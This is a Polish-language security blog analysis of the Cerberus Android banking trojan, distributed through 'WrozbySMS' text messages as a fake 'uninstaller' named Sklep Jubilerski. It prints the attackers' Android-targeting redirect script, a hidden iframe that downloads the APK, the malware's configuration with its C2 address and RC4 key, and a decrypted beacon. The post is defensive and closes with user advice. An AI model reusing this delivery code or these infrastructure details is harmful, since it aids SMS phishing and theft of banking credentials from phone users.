Banker Cerberus pod szyldem „deinstalatora”
Zgodnie z wczorajszą obietnicą wracamy do analizy złośliwego oprogramowania, rozpowszechniającego się przez SMS od nadawcy „WrozbySMS”, z „deinstalatorem” nieistniejącej aplikacji. Użytkownik, przekonany socjotechnicznie, że zainstalował sobie aplikację, korzystanie z której miałoby go kosztować 30 złotych (skoro mowa o subskrypcji to zapewne miesięcznie).
Zaczyna się od SMSa z nadpisu Wrozby SMS, zawierającego link z URL hxxp://wrozbyonline.net/wrozby, „po drodze” przekierowujący na stronę w domenie .pl. W kodzie strony, odpowiedzialnym za przekierowanie, widać, że złośliwa aktywność podejmowana jest wyłącznie w przypadku stwierdzenia, iż ofiara otwiera link na telefonie z systemem Android.
<script type=”text/javascript”>
var isMobile = {
Android: function() {
return navigator.userAgent.match(/Android/i);
},
BlackBerry: function() {
return navigator.userAgent.match(/BlackBerry/i);
},
iOS: function() {
return navigator.userAgent.match(/iPhone|iPad|iPod/i);
},
Opera: function() {
return navigator.userAgent.match(/Opera Mini/i);
},
Windows: function() {
return navigator.userAgent.match(/IEMobile/i);
},
any: function() {
return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows());
}
};
if ( isMobile.Android() ) {
document.location.href=”download.html”;
}else{
document.location.href=”https://www.wrozbyonline.pl„;
}
</script>
Ostateczne przekierowanie następuje na stronę wrozbyonline.net/download.html
<iframe width=”1″ height=”1″ frameborder=”0″ src=”sklepjubilerski.apk”></iframe>
Skąd finalnie pobierana jest złośliwa aplikacja:
hxxp://wrozbyonline.net/sklepjubilerski.apk
Aby zainstalować aplikację należy w opcjach telefonu zezwolić na instalację z nieznanych źródeł. Aplikacje spoza sklepu Play nie instalują się automatycznie (wymagają zmiany ustawień przez użytkownika)
W momencie analizy wirus rozpoznawalny był przez siedem silników antywirusów pod różnymi nazwami.
- AhnLab-V3 Trojan/Android.Banker.896466
- Avast-Mobile Android:Evo-gen [Trj]
- Avira (no cloud) ANDROID/Dropper.FRGT.Gen
- CAT-QuickHeal Android.Agent.GEN32502
- DrWeb Android.BankBot.2311
- F-Secure Malware.ANDROID/Dropper.FRGT.Gen
- Fortinet Android/Agent.DVL!tr
- Ikarus Trojan-Banker.AndroidOS.Cerberus
- K7GW Trojan ( 0055e1561 )
- Kaspersky HEUR:Trojan-Dropper.AndroidOS.Hqwar.bp
- ZoneAlarm by Check Point HEUR:Trojan-Dropper.AndroidOS.Hqwar.bp
Z samych uprawnień pliku APK wygląda, iż jego funkcjonalność polega na kradzieży SMS’ów przychodzących na zainfekowany telefon, co wynika z uprawnień, zawartych w pliku AndroidManifest.xml:
- odczyt kontaktów
- wykonywanie połączeń
- dostęp do internetu
- wskaźnik baterii
- wysyłanie wiadomości SMS
- odczyt SMS
- odczyt informacji o stanie urządzenia (dane sieci, numer telefonu, status połączeń)
Aplikacja instaluje się jak zwykła aplikacja na Androida. Bez wątpienia czerwoną lampkę u użytkownika powinien zapalić fakt, iż jako „deinstalator” instalujemy aplikację… Sklep Jubilerski.
Co więcej, po zainstalowaniu aplikacji otwiera się okno z monitem proszącym o włączenie rzekomej „Ochrony Telefonu” (przypominamy, iż aplikacja nosi nazwę Sklep Jubilerski!). Przestępcy chcą przekonać ofiarę, iż jest to niezbędne, by aplikacja w pełni działała na telefonie, a tak naprawdę umożliwia to wirusowi uzyskanie dalszych, znacznie szerszych uprawnień niezbędnych do efektywnego działania.
Oczywiście aplikację znajdziemy również w systemowym menedżerze aplikacji.
Dalsza analiza wykazuje iż mamy do czynienia z Cerberusem – bardzo popularnym tzw. bankerem na smartfony, służącym do wykradania haseł dostępowych, loginów do aplikacji bankowych i SMSów autoryzacyjnych. Robi to głównie za pomocą nakładek (ang. overlay) przysłaniających ekran i podszywających się pod bank. Kod do wstrzyknięcia nakładki pobierany jest z zewnętrznego serwera, podczas gdy wirus jest uruchomiony na zainfekowanym telefonie. Złośliwe oprogramowanie w kodzie posiada funkcjonalność dynamicznie ładujących się modułów.
Poniżej została przestawiona konfiguracja wraz z widocznym kluczem RC4, służącym do szyfrowania i odszyfrowania przesyłanych danych między zainfekowanym telefonem a serwerem Command&Control:
<?xml version=’1.0′ encoding=’utf-8′ standalone=’yes’ ?>
<map>
<int name=”lastVersionCodeUsed” value=”2357121″ />
</map>
<?xml version=’1.0′ encoding=’utf-8′ standalone=’yes’ ?>
<map>
<string name=”idbot”>a4jd56tj3fbx58211</string>
<string name=”lockDevice”>0</string>
<string name=”timeMails”>-1</string>
<string name=”timeWorking”>1096</string>
<string name=”statCards”>0</string>
<string name=”urlAdminPanel”>http://curcaoes.club</string>
<string name=”LogSMS”>BLOCK DISABLE ACCESIBILITY SERVICE::endLog::</string>
<string name=”activeDevice”>0</string>
<string name=”nameInject”></string>
<string name=”packageNameDefultSmsMenager”>com.android.mms</string>
<string name=”activityAccessibilityVisible”>1</string>
<string name=”urls”></string>
<string name=”autoClick”>1</string>
<string name=”old_start_inj”>0</string>
<string name=”app_inject”></string>
<string name=”timestop”>0</string>
<string name=”goOffProtect”></string>
<string name=”display_width”>1080</string>
<string name=”logsContacts”></string>
<string name=”packageNameActivityInject”>qujfnblzgcdjxqsmnua.biitilrludzi.ascxgxmtwcfaksdqtgzypd.indvy.opxvzpqjw</string>
<string name=”actionSettingInection”></string>
<string name=”statDownloadModule”>0</string>
<string name=”arrayInjection”></string>
<string name=”offSound”>0</string>
<string name=”timeProtect”>-1</string>
<string name=”listSaveLogsInjection”></string>
<string name=”activeInjection”>0</string>
<string name=”statAccessibilty”>1</string>
<string name=”killApplication”></string>
<string name=”timeInject”>-1</string>
<string name=”checkupdateInjection”></string>
<string name=”whileStartUpdateInection”></string>
<string name=”getIdentifier”>1234567890</string>
<string name=”packageName”>lhsp.zcbyngoqjpbbzpq.hqbcbmtz</string>
<string name=”initialization”>good</string>
<string name=”day1PermissionSMS”>1</string>
<string name=”startpush”></string>
<string name=”keylogger”></string>
<string name=”checkProtect”>2</string>
<string name=”starterService”></string>
<string name=”schetAdmin”>90</string>
<string name=”getPermissionsToSMS”></string>
<string name=”dataKeylogger”></string>
<string name=”statusInstall”></string>
<string name=”inj_start”>0</string>
<string name=”statMails”>0</string>
<string name=”logsSavedSMS”></string>
<string name=”idSettings”></string>
<string name=”schetBootReceiver”>90</string>
<string name=”step”>0</string>
<string name=”statBanks”>0</string>
<string name=”statProtect”>0</string>
<string name=”hiddenSMS”></string>
<string name=”logsApplications”></string>
<string name=”key”>sfhdfhwerkhgjfgh</string>
<string name=”timeCC”>-1</string>
<string name=”display_height”>1920</string>
<string name=”statAdmin”>0</string>
<string name=”startInstalledTeamViewer”>1</string>
<string name=”kill”></string>
</map>
Jak wskazuje kod, malware pozwala atakującemu nie tylko na podglądanie smsów, ale także danych logowania do banków, treści maili i wiele więcej. W trakcie analizy uruchomiono w środowisku odizolowanym komunikację telefonu z C&C pod adresem curcaoes.club. Poniższy proces przedstawia odszywfowanie przesyłanych danych.
Przykładowa zaszyfrowana komunikacja po wcześniejszym zdekodowaniu base64:
619afaf2c4d6eafc61d88b329376bb31b03deb18bf9cc351da42b7f5b177a76f76d057
19645a25ee2a852aa7e969c92da15a5ae84ab35217b4cd7e4e8067ae9dc5f15cc89
4030938842806b343c34f92dec141b2cc6586c50a060cbc82a23ca23d0409921393
7566d33fe3f183c4b709f763e491c3425c2aac18c8fea1e0e02563b7db4f090a58327
69b026dba0d7c17d400a2536e7c0a66b7b8b3a8ddbcd4ddac19a252430d59c634e
2380be395039c7af066acda0d8e4f0c31fbb3b14e572322f17fc3c0aadfd4d6e5b871
22453a162cf3a4a94e41f53bf71a89947ce19f7c99af952c04d2188f7ada32770fcab0
c4070fe3a5a6d31751a74c027ed90ed2ad024867fe5ca83cf63d1cba40788fe6fa950
000a7c2
Po zdekodowaniu przy użyciu klucza RC4 „sfhdfhwerkhgjfgh” ciąg wygląda tak:
7B 22 69 64 22 3A 22 67 70 69 62 38 6D 64 69 34 63 61 73 75 37 68 76 68 22 2C 22 69 64 53 65 74 74 69 6E 67 73 22 3A 22 22 2C 22 73 74 61 74 41 64 6D 69 6E 22 3A 22 30 22 2C 22 73 74 61 74 50 72 6F 74 65 63 74 22 3A 22 32 22 2C 22 73 74 61 74 53 63 72 65 65 6E 22 3A 22 31 22 2C 22 73 74 61 74 41 63 63 65 73 73 69 62 69 6C 74 79 22 3A 22 31 22 2C 22 73 74 61 74 53 4D 53 22 3A 22 30 22 2C 22 73 74 61 74 43 61 72 64 73 22 3A 22 30 22 2C 22 73 74 61 74 42 61 6E 6B 73 22 3A 22 30 22 2C 22 73 74 61 74 4D 61 69 6C 73 22 3A 22 30 22 2C 22 61 63 74 69 76 65 44 65 76 69 63 65 22 3A 22 30 22 2C 22 74 69 6D 65 57 6F 72 6B 69 6E 67 22 3A 22 31 32 30 22 2C 22 73 74 61 74 44 6F 77 6E 6C 6F 61 64 4D 6F 64 75 6C 65 22 3A 22 30 22 2C 22 62 61 74 74 65 72 79 4C 65 76 65 6C 22 3A 22 31 30 30 22 2C 22 6C 6F 63 61 6C 65 22 3A 22 70 6C 22 7D
Ostatecznie odszyfrowany wynik końcowy transmisji do C&C wygląda tak:
{„id”:”gpib8mdi3casu7hvh”,”idSettings”:””,”statAdmin”:”0″,”statProtect”:”2″,”statScreen”:”1″,
„statAccessibilty”:”1″,”statSMS”:”0″,”statCards”:”0″,”statBanks”:”0″,”statMails”:”0″,
„activeDevice”:”0″,”timeWorking”:”120″,”statDownloadModule”:”0″,”batteryLevel”:”100″,
„locale”:”pl”}
Co robić?
Akurat w opisywanym przypadku wystarczy zdrowy rozsądek – po pierwsze pod Androidem nie ma konieczności „instalancji deinstalatora”, poza tym – jak wspominaliśmy wyżej – ostatecznym szlabanem przed instalacją tego typu aplikacji powinna być nazwa, „Sklep Jubilerski”. W przypadku lepiej przygotowanego phishingu, warto pamiętać o jednej, najistotniejszej zasadzie – instalacja czegokolwiek spoza oficjalnych sklepów to proszenie się o problemy.
Nie dajcie się okraść.